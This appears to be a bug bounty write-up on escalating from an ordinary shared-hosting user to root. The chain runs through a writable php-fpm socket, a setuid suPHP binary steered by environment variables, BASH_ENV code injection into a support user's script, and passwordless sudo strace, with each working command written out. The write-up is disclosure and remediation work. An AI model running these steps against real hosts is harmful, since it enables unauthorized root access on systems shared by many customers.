In this article we will showcase how we used a long forgotten binary to gain
root
access on the machine, as part of a bug bounty program. No kitties were
harmed in the making of this article.
A blast from the past
suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter.
The latest version of suPHP (0.7.2) was released in 2013 to patch a security vulnerability. A community fork was started at lightsey/mod_suphp, though no releases were created.
suPHP used to be a major component of shared hosting providers and was based on the fact that a customer shouldn’t be able to read/modify other customer files.
The permissions on the main binary (/usr/sbin/suphp
) are as follows:
- root (the user) owns this file and can read (
r
) and write (w
) it. The setuid flag is also present (s
). - nobody (the group) can read (
r
) and execute (x
) this binary. - no one else can read, write, or invoke suPHP.
The suPHP configuration file living at /etc/suphp.conf
controls how paranoid
suPHP should be before executing scripts.
Let’s start with the most restrictive ones:
; Security options
allow_file_group_writeable=false
allow_file_others_writeable=false
allow_directory_group_writeable=false
allow_directory_others_writeable=false
These four options are there to prevent script execution from a file or directory that is writeable by a large set of users, as that would allow anyone to run custom scripts.
; Minimum UID
min_uid=100
; Minimum GID
min_gid=100
suPHP uses the file ownership information to determine who is running the binary.
The min_{g,u}id
option prevents malicious users from running most Linux
binaries which are (conveniently) owned by root
. Being able to just run
/bin/bash
as root would have made our task much easier… :-)
suPHP will refuse to execute scripts that are not in the docroot
directory.
In our case, it was set to /
(having it set to /home/
wouldn’t have
helped much).
Finally, at compile time it is possible to enable the PARANOID
mode. When
enabled, the web server tells suPHP which user is expected to be the owner.
In case of a mismatch, suPHP exits with an error message.
The configuration file goes on to define a list of supported handlers, which the webserver picks - this is how one Apache instance was backed by multiple PHP versions:
[handlers]
;Handler for php-scripts
x-httpd-php="php:/usr/bin/php"
;Handler for CGI-scripts
x-suphp-cgi="execute:!self"
The php handlers invoke PHP and only support loading .php
files.
The x-suphp-cgi
handler is magic and will run any file with the +x
flag set.
This handler doesn’t let us specific command line arguments, but we can override
the environment variables that aren’t one of:
LD_PRELOAD
LD_LIBRARY_PATH
PHPRC
and more suPHP specific variables.
Fellow infosec engineers will recognize these variables are commonly (ab)used to inject code into setuid binaries; but not today!
À l’attaque
We started with a regular Linux user on a shared web hosting platform. A lot of
daemons try to reduce their footprint by running as the (presumed!)
unprivileged user nobody
. In our case, we found a UNIX socket for php-fpm
with the o+w permission (ie. we can send requests through it and execute
arbitrary PHP code). We were able to downgrade our UID/GID to nobody`.
Using our new privileges, we can now invoke suPHP as follows:
SUPHP_HANDLER=x-suphp-cgi \
SUPHP_USER=user \
SUPHP_GROUP=group \
SCRIPT_FILENAME=/tmp/hello \
DOCUMENT_ROOT=/ \
/sbin/suphp
suPHP being meant to be invoked by Apache as a CGI, environment variables are
used to pass options. We used a handler defined in the configuration file
(x-suphp-cgi
), filled SCRIPT_FILENAME
with the command we want to execute,
set SUPHP_{USER,GROUP}
with a value matching the ownership information for
this binary, so suPHP won’t reject it.
We confirmed nobody
could run binaries as our user by creating a hello world
executable at /tmp/hello
and having suPHP execute it. It worked!
Finding an executable file to run
Now, we would like to gain new privileges. Let’s start by looking at the list
of users we can target using getent
:
nobody@my-party# getent passwd | awk -F: '$3 > 100 {print $1}'
serviceA
serviceB
serviceC
[..snip..]
supportA
supportB
supportC
[..snip..]
customerA
customerB
customerZ
[..snip..]
Note: the names were replaced with dummy values.
From this we learned that we can try to run commands as a service, as a support
user or as a customer. Support users are intended to be able to troubleshoot
issues on company services, and are most likely to be able to execute commands
as root
- which make them an interesting target for us.
Using more CLI magic, we try to find executable files that are owned by each service or support person:
nobody@my-party# find / -user serviceA -executable -exec ls -ldb {} \; 2>/dev/null
[..snip..]
With no luck, which was to be expected as we can’t list the files contained in support-users’ home directories.
Using a bit of brute force, digging through the /var/log
journals, and a bit
of luck; we found a script in a support person’s home, written using bash. And
that’s okay, we only need one!
Injecting code into the process
All that’s left for us is to inject our own code into this process running as
someone else. This is actually easier to do than it sounds, and if you read the
formidable documentation of bash
you’ll find the following paragraph:
When bash is started non-interactively, to run a shell script, for example, it looks for the variable
BASH_ENV
in the environment, expands its value if it appears there, and uses the expanded value as the name of a file to read and execute. Bash behaves as if the following command were executed:if [ -n "$BASH_ENV" ]; then . "$BASH_ENV"; fi
but the value of thePATH
variable is not used to search for the file name.
We created a bash script in /tmp/pwn.sh
, as a proof-of-concept:
$ /tmp/pwn.sh
id >> /tmp/knock-knock
We prepend our suPHP invocation with BASH_ENV=/tmp/pwn.sh
, provided the script
to execute - and it worked! We can now run code as this user! Here is the final
incantation, performed over FastCGI:
BASH_ENV=/tmp/pwn.sh \
SUPHP_HANDLER=x-suphp-cgi \
SUPHP_USER=user \
SUPHP_GROUP=group \
SCRIPT_FILENAME=/home/supportA/myawesomescript.sh \
DOCUMENT_ROOT=/ \
/sbin/suphp
Privilege escalation
As we expected, we ran sudo -l
and noticed that our new identity was able to
run commands like gdb
, strace
, tail
with the highest level of privileges
and without having to provide a password.
The final privilege escalation is easy then as pie:
$ sudo -u root strace -o /dev/null /bin/id
uid=0(root) gid=0(root) groups=0(root)
Conclusion
While a fork is still maintained on GitHub, there isn’t really any reason to keep using suPHP in 2020. PHP-FPM can be configured with UID-isolated pools of processes, completely avoiding the risk of running code as an unintended user.
In our case study, suPHP was only a residue of previous deployments and was not necessary anymore. If you don’t use it, remove it!